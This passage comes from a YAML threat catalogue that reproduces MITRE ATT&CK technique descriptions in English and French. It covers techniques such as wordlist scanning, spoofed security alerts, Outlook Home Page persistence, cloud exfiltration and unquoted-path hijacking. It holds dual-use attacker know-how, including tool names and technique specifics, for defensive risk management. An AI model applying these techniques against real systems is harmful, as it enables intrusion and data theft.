          \ Les syst\xE8mes de terminaux peuvent \xEAtre compromis par une navigation\
          \ Web normale ou par le fait que certains utilisateurs sont cibl\xE9s par\
          \ des liens dans des e-mails de spearphishing vers des sites contr\xF4l\xE9\
          s par l\u2019adversaire et utilis\xE9s pour exploiter le navigateur Web.\
          \ Souvent, ils ne n\xE9cessitent pas d\u2019action de la part de l\u2019\
          utilisateur pour que l\u2019exploit soit ex\xE9cut\xE9.\n\n### Applications\
          \ bureautiques\n\nLes applications bureautiques et de productivit\xE9 courantes\
          \ telles que Microsoft Office sont \xE9galement cibl\xE9es par le [Phishing](https://attack.mitre.org/techniques/T1566).\
          \ Les fichiers malveillants seront transmis directement sous forme de pi\xE8\
          ces jointes ou par le biais de liens permettant de les t\xE9l\xE9charger.\
          \ Ceux-ci n\xE9cessitent que l\u2019utilisateur ouvre le document ou le\
          \ fichier pour que l\u2019exploit s\u2019ex\xE9cute.\n\n### Applications\
          \ tierces courantes\n\nD\u2019autres applications courantes ou faisant partie\
          \ du logiciel d\xE9ploy\xE9 dans un r\xE9seau cible peuvent \xE9galement\
          \ \xEAtre utilis\xE9es \xE0 des fins d\u2019exploitation. Des applications\
          \ telles qu\u2019Adobe Reader et Flash, qui sont courantes dans les environnements\
          \ d\u2019entreprise, ont \xE9t\xE9 r\xE9guli\xE8rement cibl\xE9es par des\
          \ adversaires qui tentaient d\u2019acc\xE9der aux syst\xE8mes. En fonction\
          \ du logiciel et de la nature de la vuln\xE9rabilit\xE9, certaines peuvent\
          \ \xEAtre exploit\xE9es dans le navigateur ou n\xE9cessiter l\u2019ouverture\
          \ d\u2019un fichier par l\u2019utilisateur. Par exemple, certains exploits\
          \ Flash ont \xE9t\xE9 livr\xE9s sous forme d\u2019objets dans des documents\
          \ Microsoft Office.\nhttps://attack.mitre.org/techniques/T1203"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1595.003
    ref_id: T1595.003
    name: Wordlist Scanning
    description: "Adversaries may iteratively probe infrastructure using brute-forcing\
      \ and crawling techniques. While this technique employs similar methods to [Brute\
      \ Force](https://attack.mitre.org/techniques/T1110), its goal is the identification\
      \ of content and infrastructure rather than the discovery of valid credentials.\
      \ Wordlists used in these scans may contain generic, commonly used names and\
      \ file extensions or terms specific to a particular software. Adversaries may\
      \ also create custom, target-specific wordlists using data gathered from other\
      \ Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591),\
      \ or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\
      \nFor example, adversaries may use web content discovery tools such as Dirb,\
      \ DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019\
      s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can\
      \ help them to discover old, vulnerable pages or hidden administrative portals\
      \ that could become the target of further operations (ex: [Exploit Public-Facing\
      \ Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).\
      \  \n\nAs cloud storage solutions typically use globally unique names, adversaries\
      \ may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute\
      \ to enumerate public and private buckets on cloud infrastructure.(Citation:\
      \ S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered,\
      \ adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530)\
      \ to access valuable information that can be exfiltrated or used to escalate\
      \ privileges and move laterally.\nhttps://attack.mitre.org/techniques/T1595/003"
    translations:
      fr:
        name: Balayage de listes de mots
        description: "Les adversaires peuvent sonder l\u2019infrastructure de mani\xE8\
          re it\xE9rative \xE0 l\u2019aide de techniques de force brute et d\u2019\
          exploration. Bien que cette technique utilise des m\xE9thodes similaires\
          \ \xE0 celles de la [Brute Force](https://attack.mitre.org/techniques/T1110),\
          \ son objectif est l\u2019identification du contenu et de l\u2019infrastructure\
          \ plut\xF4t que la d\xE9couverte d\u2019informations d\u2019identification\
          \ valides. Les listes de mots utilis\xE9es dans ces analyses peuvent contenir\
          \ des noms g\xE9n\xE9riques et couramment utilis\xE9s et des extensions\
          \ de fichiers ou des termes sp\xE9cifiques \xE0 un logiciel particulier.\
          \ Les adversaires peuvent \xE9galement cr\xE9er des listes de mots personnalis\xE9\
          es et sp\xE9cifiques \xE0 la cible \xE0 l\u2019aide de donn\xE9es recueillies\
          \ \xE0 partir d\u2019autres techniques de reconnaissance (ex : [Recueillir\
          \ des informations sur l\u2019organisation de la victime](https://attack.mitre.org/techniques/T1591),\
          \ ou [Rechercher des sites Web appartenant \xE0 la victime](https://attack.mitre.org/techniques/T1594)).\n\
          \nPar exemple, les adversaires peuvent utiliser des outils de d\xE9couverte\
          \ de contenu Web tels que Dirb, DirBuster et GoBuster, ainsi que des listes\
          \ de mots g\xE9n\xE9riques ou personnalis\xE9es pour \xE9num\xE9rer les\
          \ pages et les r\xE9pertoires d\u2019un site Web. (Citation : ClearSky Lebanese\
          \ Cedar janvier 2021) Cela peut les aider \xE0 d\xE9couvrir d\u2019anciennes\
          \ pages vuln\xE9rables ou des portails administratifs cach\xE9s qui pourraient\
          \ devenir la cible d\u2019op\xE9rations ult\xE9rieures (ex : [Exploiter\
          \ une application publique](https://attack.mitre.org/techniques/T1190) ou\
          \ [Brute Force](https://attack.mitre.org/techniques/T1110)).  \n\n\xC9tant\
          \ donn\xE9 que les solutions de stockage dans le cloud utilisent g\xE9n\xE9\
          ralement des noms uniques \xE0 l\u2019\xE9chelle mondiale, les adversaires\
          \ peuvent \xE9galement utiliser des listes de mots et des outils sp\xE9\
          cifiques \xE0 la cible, tels que s3recon et GCPBucketBrute, pour \xE9num\xE9\
          rer les compartiments publics et priv\xE9s sur l\u2019infrastructure cloud.\
          \ (Citation : S3Recon GitHub)(Citation : GCPBucketBrute) Une fois les objets\
          \ de stockage d\xE9couverts, les adversaires peuvent exploiter les [donn\xE9\
          es du stockage dans le cloud](https://attack.mitre.org/techniques/T1530)\
          \ pour acc\xE9der \xE0 des informations pr\xE9cieuses qui peuvent \xEAtre\
          \ exfiltr\xE9es ou utilis\xE9es pour \xE9lever les privil\xE8ges et se d\xE9\
          placer lat\xE9ralement.\nhttps://attack.mitre.org/techniques/T1595/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.011
    ref_id: T1562.011
    name: Spoof Security Alerting
    description: "Adversaries may spoof security alerting from tools, presenting false\
      \ evidence to impair defenders\u2019 awareness of malicious activity.(Citation:\
      \ BlackBasta) Messages produced by defensive tools contain information about\
      \ potential security events as well as the functioning status of security software\
      \ and the system. Security reporting messages are important for monitoring the\
      \ normal operation of a system and identifying important events that can signal\
      \ a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006),\
      \ an adversary can spoof positive affirmations that security tools are continuing\
      \ to function even after legitimate security tools have been disabled (e.g.,\
      \ [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).\
      \ An adversary can also present a \u201Chealthy\u201D system status even after\
      \ infection. This can be abused to enable further malicious activity by delaying\
      \ defender responses.\n\nFor example, adversaries may show a fake Windows Security\
      \ GUI and tray icon with a \u201Chealthy\u201D system status after Windows Defender\
      \ and other system tools have been disabled.(Citation: BlackBasta)\nhttps://attack.mitre.org/techniques/T1562/011"
    translations:
      fr:
        name: "Alertes de s\xE9curit\xE9 d\u2019usurpation d\u2019identit\xE9"
        description: "Les adversaires peuvent usurper les alertes de s\xE9curit\xE9\
          \ \xE0 partir d\u2019outils, en pr\xE9sentant de fausses preuves pour emp\xEA\
          cher les d\xE9fenseurs d\u2019\xEAtre conscients des activit\xE9s malveillantes.\
          \ (R\xE9f\xE9rence : BlackBasta) Les messages produits par les outils d\xE9\
          fensifs contiennent des informations sur les \xE9v\xE9nements de s\xE9curit\xE9\
          \ potentiels ainsi que sur l\u2019\xE9tat de fonctionnement du logiciel\
          \ de s\xE9curit\xE9 et du syst\xE8me. Les messages de rapport de s\xE9curit\xE9\
          \ sont importants pour surveiller le fonctionnement normal d\u2019un syst\xE8\
          me et identifier les \xE9v\xE9nements importants qui peuvent signaler un\
          \ incident de s\xE9curit\xE9.\n\nPlut\xF4t que ou en plus de [Blocage de\
          \ l\u2019indicateur](https://attack.mitre.org/techniques/T1562/006), un\
          \ adversaire peut usurper des affirmations positives selon lesquelles les\
          \ outils de s\xE9curit\xE9 continuent de fonctionner m\xEAme apr\xE8s que\
          \ des outils de s\xE9curit\xE9 l\xE9gitimes ont \xE9t\xE9 d\xE9sactiv\xE9\
          s (par exemple, [D\xE9sactiver ou modifier les outils](https://attack.mitre.org/techniques/T1562/001)).\
          \ Un adversaire peut \xE9galement pr\xE9senter un syst\xE8me \xAB sain \xBB\
          \ m\xEAme apr\xE8s l\u2019infection. Cela peut \xEAtre utilis\xE9 \xE0 mauvais\
          \ escient pour permettre d\u2019autres activit\xE9s malveillantes en retardant\
          \ les r\xE9ponses du d\xE9fenseur.\n\nPar exemple, les adversaires peuvent\
          \ afficher une fausse interface graphique de s\xE9curit\xE9 Windows et une\
          \ ic\xF4ne de barre d\u2019\xE9tat avec un \xE9tat syst\xE8me \xAB sain\
          \ \xBB apr\xE8s la d\xE9sactivation de Windows Defender et d\u2019autres\
          \ outils syst\xE8me. (R\xE9f\xE9rence : BlackBasta)\nhttps://attack.mitre.org/techniques/T1562/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1137.004
    ref_id: T1137.004
    name: Outlook Home Page
    description: "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain\
      \ persistence on a compromised system. Outlook Home Page is a legacy feature\
      \ used to customize the presentation of Outlook folders. This feature allows\
      \ for an internal or external URL to be loaded and presented whenever a folder\
      \ is opened. A malicious HTML page can be crafted that will execute code when\
      \ loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce\
      \ malicious home pages have been added to the user\u2019s mailbox, they will\
      \ be loaded when Outlook is started. Malicious Home Pages will execute when\
      \ the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home\
      \ Page)\nhttps://attack.mitre.org/techniques/T1137/004"
    translations:
      fr:
        name: "Page d\u2019accueil Outlook"
        description: "Les adversaires peuvent abuser de la fonctionnalit\xE9 de page\
          \ d\u2019accueil de Microsoft Outlook pour obtenir la persistance sur un\
          \ syst\xE8me compromis. La page d\u2019accueil Outlook est une fonctionnalit\xE9\
          \ h\xE9rit\xE9e utilis\xE9e pour personnaliser la pr\xE9sentation des dossiers\
          \ Outlook. Cette fonctionnalit\xE9 permet de charger et de pr\xE9senter\
          \ une URL interne ou externe chaque fois qu\u2019un dossier est ouvert.\
          \ Une page HTML malveillante peut \xEAtre cr\xE9\xE9e pour ex\xE9cuter du\
          \ code lorsqu\u2019elle est charg\xE9e par la page d\u2019accueil Outlook.\
          \ (Citation : Page d\u2019accueil Outlook de SensePost)\n\nUne fois que\
          \ des pages d\u2019accueil malveillantes ont \xE9t\xE9 ajout\xE9es \xE0\
          \ la bo\xEEte aux lettres de l\u2019utilisateur, elles seront charg\xE9\
          es au d\xE9marrage d\u2019Outlook. Les pages d\u2019accueil malveillantes\
          \ s\u2019ex\xE9cutent lorsque le bon dossier Outlook est charg\xE9/recharg\xE9\
          . (Citation : Page d\u2019accueil Outlook de SensePost)\nhttps://attack.mitre.org/techniques/T1137/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1573.002
    ref_id: T1573.002
    name: Asymmetric Cryptography
    description: "Adversaries may employ a known asymmetric encryption algorithm to\
      \ conceal command and control traffic rather than relying on any inherent protections\
      \ provided by a communication protocol. Asymmetric cryptography, also known\
      \ as public key cryptography, uses a keypair per party: one public that can\
      \ be freely distributed, and one private. Due to how the keys are generated,\
      \ the sender encrypts data with the receiver\u2019s public key and the receiver\
      \ decrypts the data with their private key. This ensures that only the intended\
      \ recipient can read the encrypted data. Common public key encryption algorithms\
      \ include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS)\
      \ use symmetric cryptography once a connection is established, but use asymmetric\
      \ cryptography to establish or transmit a key. As such, these protocols are\
      \ classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).\n\
      https://attack.mitre.org/techniques/T1573/002"
    translations:
      fr:
        name: "Cryptographie asym\xE9trique"
        description: "Les adversaires peuvent utiliser un algorithme de chiffrement\
          \ asym\xE9trique connu pour dissimuler le trafic de commande et de contr\xF4\
          le plut\xF4t que de s\u2019appuyer sur les protections inh\xE9rentes fournies\
          \ par un protocole de communication. La cryptographie asym\xE9trique, \xE9\
          galement connue sous le nom de cryptographie \xE0 cl\xE9 publique, utilise\
          \ une paire de cl\xE9s par partie : une publique qui peut \xEAtre distribu\xE9\
          e librement et une priv\xE9e. En raison de la fa\xE7on dont les cl\xE9s\
          \ sont g\xE9n\xE9r\xE9es, l\u2019exp\xE9diteur crypte les donn\xE9es avec\
          \ la cl\xE9 publique du destinataire et le destinataire d\xE9chiffre les\
          \ donn\xE9es avec sa cl\xE9 priv\xE9e. Cela garantit que seul le destinataire\
          \ pr\xE9vu peut lire les donn\xE9es chiffr\xE9es. Les algorithmes de chiffrement\
          \ \xE0 cl\xE9 publique courants incluent RSA et ElGamal.\n\nPour des raisons\
          \ d\u2019efficacit\xE9, de nombreux protocoles (y compris SSL/TLS) utilisent\
          \ la cryptographie sym\xE9trique une fois qu\u2019une connexion est \xE9\
          tablie, mais utilisent la cryptographie asym\xE9trique pour \xE9tablir ou\
          \ transmettre une cl\xE9. En tant que tels, ces protocoles sont class\xE9\
          s comme [Cryptographie asym\xE9trique](https://attack.mitre.org/techniques/T1573/002).\n\
          https://attack.mitre.org/techniques/T1573/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1567.002
    ref_id: T1567.002
    name: Exfiltration to Cloud Storage
    description: 'Adversaries may exfiltrate data to a cloud storage service rather
      than over their primary command and control channel. Cloud storage services
      allow for the storage, edit, and retrieval of data from a remote cloud storage
      server over the Internet.


      Examples of cloud storage services include Dropbox and Google Docs. Exfiltration
      to these cloud storage services can provide a significant amount of cover to
      the adversary if hosts within the network are already communicating with the
      service.

      https://attack.mitre.org/techniques/T1567/002'
    translations:
      fr:
        name: Exfiltration vers le stockage en nuage
        description: "Les adversaires peuvent exfiltrer des donn\xE9es vers un service\
          \ de stockage dans le cloud plut\xF4t que sur leur canal de commande et\
          \ de contr\xF4le principal. Les services de stockage dans le cloud permettent\
          \ de stocker, de modifier et d\u2019extraire des donn\xE9es \xE0 partir\
          \ d\u2019un serveur de stockage cloud distant sur Internet.\n\nDropbox et\
          \ Google Docs sont des exemples de services de stockage en nuage. L\u2019\
          exfiltration vers ces services de stockage dans le cloud peut fournir une\
          \ couverture importante \xE0 l\u2019adversaire si les h\xF4tes du r\xE9\
          seau communiquent d\xE9j\xE0 avec le service.\nhttps://attack.mitre.org/techniques/T1567/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1570
    ref_id: T1570
    name: Lateral Tool Transfer
    description: 'Adversaries may transfer tools or other files between systems in
      a compromised environment. Once brought into the victim environment (i.e., [Ingress
      Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be
      copied from one system to another to stage adversary tools or other files over
      the course of an operation.


      Adversaries may copy files between internal victim systems to support lateral
      movement using inherent file sharing protocols such as file sharing over [SMB/Windows
      Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network
      shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation:
      Unit42 LockerGoga 2019)


      Files can also be transferred using native or otherwise present tools on the
      victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).
      In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s
      such as Dropbox or OneDrive to copy files from one machine to another via shared,
      automatically synced folders.(Citation: Dropbox Malware Sync)

      https://attack.mitre.org/techniques/T1570'
    translations:
      fr:
        name: "Transfert lat\xE9ral de l\u2019outil"
        description: "Les adversaires peuvent transf\xE9rer des outils ou d\u2019\
          autres fichiers entre des syst\xE8mes dans un environnement compromis. Une\
          \ fois introduits dans l\u2019environnement victime (c\u2019est-\xE0-dire\
          \ [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), les\
          \ fichiers peuvent ensuite \xEAtre copi\xE9s d\u2019un syst\xE8me \xE0 un\
          \ autre pour mettre en sc\xE8ne des outils adversaires ou d\u2019autres\
          \ fichiers au cours d\u2019une op\xE9ration.\n\nLes adversaires peuvent\
          \ copier des fichiers entre des syst\xE8mes victimes internes pour prendre\
          \ en charge les mouvements lat\xE9raux \xE0 l\u2019aide de protocoles de\
          \ partage de fichiers inh\xE9rents tels que le partage de fichiers via [SMB/Windows\
          \ Admin Shares](https://attack.mitre.org/techniques/T1021/002) vers des\
          \ partages de r\xE9seau connect\xE9s ou avec des connexions authentifi\xE9\
          es via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).\
          \ (Citation : Unit42 LockerGoga 2019)\n\nLes fichiers peuvent \xE9galement\
          \ \xEAtre transf\xE9r\xE9s \xE0 l\u2019aide d\u2019outils natifs ou pr\xE9\
          sents sur le syst\xE8me victime, tels que scp, rsync, curl, sftp et [ftp](https://attack.mitre.org/software/S0095).\
          \ Dans certains cas, les adversaires peuvent \xEAtre en mesure d\u2019exploiter\
          \ des [services Web]https://attack.mitre.org/techniques/T1102) tels que\
          \ Dropbox ou OneDrive pour copier des fichiers d\u2019un ordinateur \xE0\
          \ un autre via des dossiers partag\xE9s et synchronis\xE9s automatiquement.\
          \ (Citation : Synchronisation des logiciels malveillants Dropbox)\nhttps://attack.mitre.org/techniques/T1570"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.009
    ref_id: T1574.009
    name: Path Interception by Unquoted Path
    description: 'Adversaries may execute their own malicious payloads by hijacking
      vulnerable file path references. Adversaries can take advantage of paths that
      lack surrounding quotations by placing an executable in a higher level directory
      within the path, so that Windows will choose the adversary''s executable to
      launch.


      Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut
      paths may also be vulnerable to path interception if the path has one or more
      spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path
      with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>).
      (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An
      adversary can place an executable in a higher level directory of the path, and
      Windows will resolve that executable instead of the intended executable. For
      example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>,
      an adversary may create a program at <code>C:\program.exe</code> that will be
      run instead of the intended program. (Citation: Windows Unquoted Services) (Citation:
      Windows Privilege Escalation Guide)


      This technique can be used for persistence if executables are called on a regular
      basis, as well as privilege escalation if intercepted executables are started
      by a higher privileged process.

      https://attack.mitre.org/techniques/T1574/009'
    translations:
      fr:
        name: "Interception de chemin par chemin non guillem\xE9"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant les r\xE9f\xE9rences de chemin d\u2019\
          acc\xE8s aux fichiers vuln\xE9rables. Les adversaires peuvent tirer parti\
          \ des chemins d\u2019acc\xE8s qui ne sont pas entre guillemets en pla\xE7\
          ant un ex\xE9cutable dans un r\xE9pertoire de niveau sup\xE9rieur \xE0 l\u2019\
          int\xE9rieur du chemin, de sorte que Windows choisisse l\u2019ex\xE9cutable\
          \ de l\u2019adversaire \xE0 lancer.\n\nLes chemins d\u2019acc\xE8s de service\
          \ (Citation : Microsoft CurrentControlSet Services) et les chemins de raccourci\
          \ peuvent \xE9galement \xEAtre vuln\xE9rables \xE0 l\u2019interception de\
          \ chemin si le chemin comporte un ou plusieurs espaces et n\u2019est pas\
          \ entour\xE9 de guillemets (par exemple, <code>C\_:\\chemin non s\xE9curis\xE9\
          \ avec espace\\program.exe</code> par rapport \xE0 <code>\xAB\_C\_:\\chemin\
          \ s\xFBr avec espace\\program.exe</code>\_\xBB). (Citation : Aidez \xE0\
          \ \xE9liminer le chemin non guillet\xE9) (stock\xE9 dans les cl\xE9s de\
          \ registre Windows) Un adversaire peut placer un ex\xE9cutable dans un r\xE9\
          pertoire de niveau sup\xE9rieur du chemin d\u2019acc\xE8s, et Windows r\xE9\
          soudra cet ex\xE9cutable \xE0 la place de l\u2019ex\xE9cutable pr\xE9vu.\
          \ Par exemple, si le chemin d\u2019acc\xE8s d\u2019un raccourci est <code>C\_\
          :\\program files\\myapp.exe</code>, un adversaire peut cr\xE9er un programme\
          \ \xE0 <code>C\_:\\program.exe</code> qui sera ex\xE9cut\xE9 \xE0 la place\
          \ du programme pr\xE9vu. (Citation : Services Windows non cit\xE9s) (Citation\
          \ : Guide d\u2019\xE9l\xE9vation des privil\xE8ges Windows)\n\nCette technique\
          \ peut \xEAtre utilis\xE9e pour la persistance si les ex\xE9cutables sont\
          \ appel\xE9s r\xE9guli\xE8rement, ainsi que pour l\u2019\xE9l\xE9vation\
          \ de privil\xE8ges si les ex\xE9cutables intercept\xE9s sont d\xE9marr\xE9\
          s par un processus \xE0 privil\xE8ges plus \xE9lev\xE9s.\nhttps://attack.mitre.org/techniques/T1574/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1608.003
    ref_id: T1608.003
    name: Install Digital Certificate
    description: "Adversaries may install SSL/TLS certificates that can be used during\
      \ targeting. SSL/TLS certificates are files that can be installed on servers\
      \ to enable secure communications between systems. Digital certificates include\
      \ information about the key, information about its owner's identity, and the\
      \ digital signature of an entity that has verified the certificate's contents\
      \ are correct. If the signature is valid, and the person examining the certificate\
      \ trusts the signer, then they know they can use that key to communicate securely\
      \ with its owner. Certificates can be uploaded to a server, then the server\
      \ can be configured to use the certificate to enable encrypted communication\
      \ with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS\
      \ certificates that can be used to further their operations, such as encrypting\
      \ C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)\
      \ with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending\
      \ credibility to a credential harvesting site. Installation of digital certificates\
      \ may take place for a number of server types, including web servers and email\
      \ servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004))\
      \ or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)).\
      \ Digital certificates can then be installed on adversary controlled infrastructure\
      \ that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583))\
      \ or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\
      https://attack.mitre.org/techniques/T1608/003"
    translations:
      fr:
        name: "Installer le certificat num\xE9rique"
        description: "Les adversaires peuvent installer des certificats SSL/TLS qui\
          \ peuvent \xEAtre utilis\xE9s lors du ciblage. Les certificats SSL/TLS sont\
          \ des fichiers qui peuvent \xEAtre install\xE9s sur des serveurs pour permettre\
          \ des communications s\xE9curis\xE9es entre les syst\xE8mes. Les certificats\
          \ num\xE9riques incluent des informations sur la cl\xE9, des informations\
          \ sur l\u2019identit\xE9 de son propri\xE9taire et la signature num\xE9\
          rique d\u2019une entit\xE9 qui a v\xE9rifi\xE9 que le contenu du certificat\
          \ est correct. Si la signature est valide et que la personne qui examine\
          \ le certificat fait confiance au signataire, elle sait qu\u2019elle peut\
          \ utiliser cette cl\xE9 pour communiquer en toute s\xE9curit\xE9 avec son\
          \ propri\xE9taire. Les certificats peuvent \xEAtre t\xE9l\xE9charg\xE9s\
          \ sur un serveur, puis le serveur peut \xEAtre configur\xE9 pour utiliser\
          \ le certificat afin d\u2019activer la communication chiffr\xE9e avec celui-ci.\
          \ (Citation : DigiCert Install SSL Cert)\n\nLes adversaires peuvent installer\
          \ des certificats SSL/TLS qui peuvent \xEAtre utilis\xE9s pour poursuivre\
          \ leurs op\xE9rations, telles que le chiffrement du trafic C2 (ex : [Cryptographie\
          \ asym\xE9trique](https://attack.mitre.org/techniques/T1573/002) avec [Protocoles\
          \ Web](https://attack.mitre.org/techniques/T1071/001)) ou la cr\xE9dibilit\xE9\
          \ d\u2019un site de collecte d\u2019informations d\u2019identification.\
          \ L\u2019installation de certificats num\xE9riques peut avoir lieu pour\
          \ un certain nombre de types de serveurs, y compris les serveurs Web et\
          \ les serveurs de messagerie. \n\nLes adversaires peuvent obtenir des certificats\
          \ num\xE9riques (voir [Certificats num\xE9riques](https://attack.mitre.org/techniques/T1588/004))\
          \ ou cr\xE9er des certificats auto-sign\xE9s (voir [Certificats num\xE9\
          riques](https://attack.mitre.org/techniques/T1587/003)). Les certificats\
          \ num\xE9riques peuvent ensuite \xEAtre install\xE9s sur une infrastructure\
          \ contr\xF4l\xE9e par l\u2019adversaire qui peut avoir \xE9t\xE9 acquise\
          \ ([Acqu\xE9rir l\u2019infrastructure](https://attack.mitre.org/techniques/T1583))\
          \ ou pr\xE9c\xE9demment compromise ([Compromettre l\u2019infrastructure](https://attack.mitre.org/techniques/T1584)).\n\
          https://attack.mitre.org/techniques/T1608/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1037.005
    ref_id: T1037.005
    name: Startup Items
    description: "Adversaries may use startup items automatically executed at boot\
      \ initialization to establish persistence. Startup items execute during the\
      \ final phase of the boot process and contain shell scripts or other executable\
      \ files along with configuration information used by the system to determine\
      \ the execution order for all startup items.(Citation: Startup Items)\n\nThis\
      \ is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)),\
      \ and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019\
      t guaranteed to exist on the system by default, but does appear to exist by\
      \ default on macOS Sierra. A startup item is a directory whose executable and\
      \ configuration property list (plist), <code>StartupParameters.plist</code>,\
      \ reside in the top-level directory. \n\nAn adversary can create the appropriate\
      \ folders/files in the StartupItems directory to register their own persistence\
      \ mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since\
      \ StartupItems run during the bootup phase of macOS, they will run as the elevated\
      \ root user.\nhttps://attack.mitre.org/techniques/T1037/005"
    translations:
      fr:
        name: "\xC9l\xE9ments de d\xE9marrage"
        description: "Les adversaires peuvent utiliser des \xE9l\xE9ments de d\xE9\
          marrage ex\xE9cut\xE9s automatiquement lors de l\u2019initialisation du\
          \ d\xE9marrage pour \xE9tablir la persistance. Les \xE9l\xE9ments de d\xE9\
          marrage s\u2019ex\xE9cutent pendant la phase finale du processus de d\xE9\
          marrage et contiennent des scripts shell ou d\u2019autres fichiers ex\xE9\
          cutables, ainsi que des informations de configuration utilis\xE9es par le\
          \ syst\xE8me pour d\xE9terminer l\u2019ordre d\u2019ex\xE9cution de tous\
          \ les \xE9l\xE9ments de d\xE9marrage. (Citation\_: \xC9l\xE9ments de d\xE9\
          marrage)\n\nIl s\u2019agit techniquement d\u2019une technologie obsol\xE8\
          te (remplac\xE9e par [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)),\
          \ et donc le dossier appropri\xE9, <code>/Library/StartupItems</code>, n\u2019\
          est pas garanti d\u2019exister sur le syst\xE8me par d\xE9faut, mais semble\
          \ exister par d\xE9faut sur macOS Sierra. Un \xE9l\xE9ment de d\xE9marrage\
          \ est un r\xE9pertoire dont l\u2019ex\xE9cutable et la liste de propri\xE9\
          t\xE9s de configuration (plist), <code>StartupParameters.plist</code>, r\xE9\
          sident dans le r\xE9pertoire de niveau sup\xE9rieur. \n\nUn adversaire peut\
          \ cr\xE9er les dossiers/fichiers appropri\xE9s dans le r\xE9pertoire StartupItems\
          \ pour enregistrer son propre m\xE9canisme de persistance. (Citation : M\xE9\
          thodes de persistance des logiciels malveillants Mac) De plus, \xE9tant\
          \ donn\xE9 que les StartupItems s\u2019ex\xE9cutent pendant la phase de\
          \ d\xE9marrage de macOS, ils s\u2019ex\xE9cutent en tant qu\u2019utilisateur\
          \ racine \xE9lev\xE9.\nhttps://attack.mitre.org/techniques/T1037/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1614.001
    ref_id: T1614.001
    name: System Language Discovery
    description: "Adversaries may attempt to gather information about the system language\
      \ of a victim in order to infer the geographical location of that host. This\
      \ information may be used to shape follow-on behaviors, including whether the\
      \ adversary infects the target and/or attempts specific actions. This decision\
      \ may be employed by malware developers and operators to reduce their risk of\
      \ attracting the attention of specific law enforcement agencies or prosecution/scrutiny\
      \ from other entities.(Citation: Malware System Language Check)\n\nThere are\
      \ various sources of data an adversary could use to infer system language, such\
      \ as system defaults and keyboard layouts. Specific checks will vary based on\
      \ the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012)\
      \ and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation:\
      \ CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries\
      \ may attempt to infer the language of a system by querying the registry key\
      \ <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code>\
      \ or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>,\
      \ <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code>\
      \ and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation:\
      \ Securelist JSWorm)(Citation: SecureList SynAck Doppelg\xE4nging May 2018)\n\
      \nOn a macOS or Linux system, adversaries may query <code>locale</code> to retrieve\
      \ the value of the <code>$LANG</code> environment variable.\nhttps://attack.mitre.org/techniques/T1614/001"
    translations:
      fr:
        name: "D\xE9couverte du langage syst\xE8me"
        description: "Les adversaires peuvent tenter de recueillir des informations\
          \ sur la langue du syst\xE8me d\u2019une victime afin de d\xE9duire l\u2019\
          emplacement g\xE9ographique de cet h\xF4te. Ces informations peuvent \xEA\
          tre utilis\xE9es pour fa\xE7onner des comportements de suivi, notamment\
          \ si l\u2019adversaire infecte la cible et/ou tente des actions sp\xE9cifiques.\
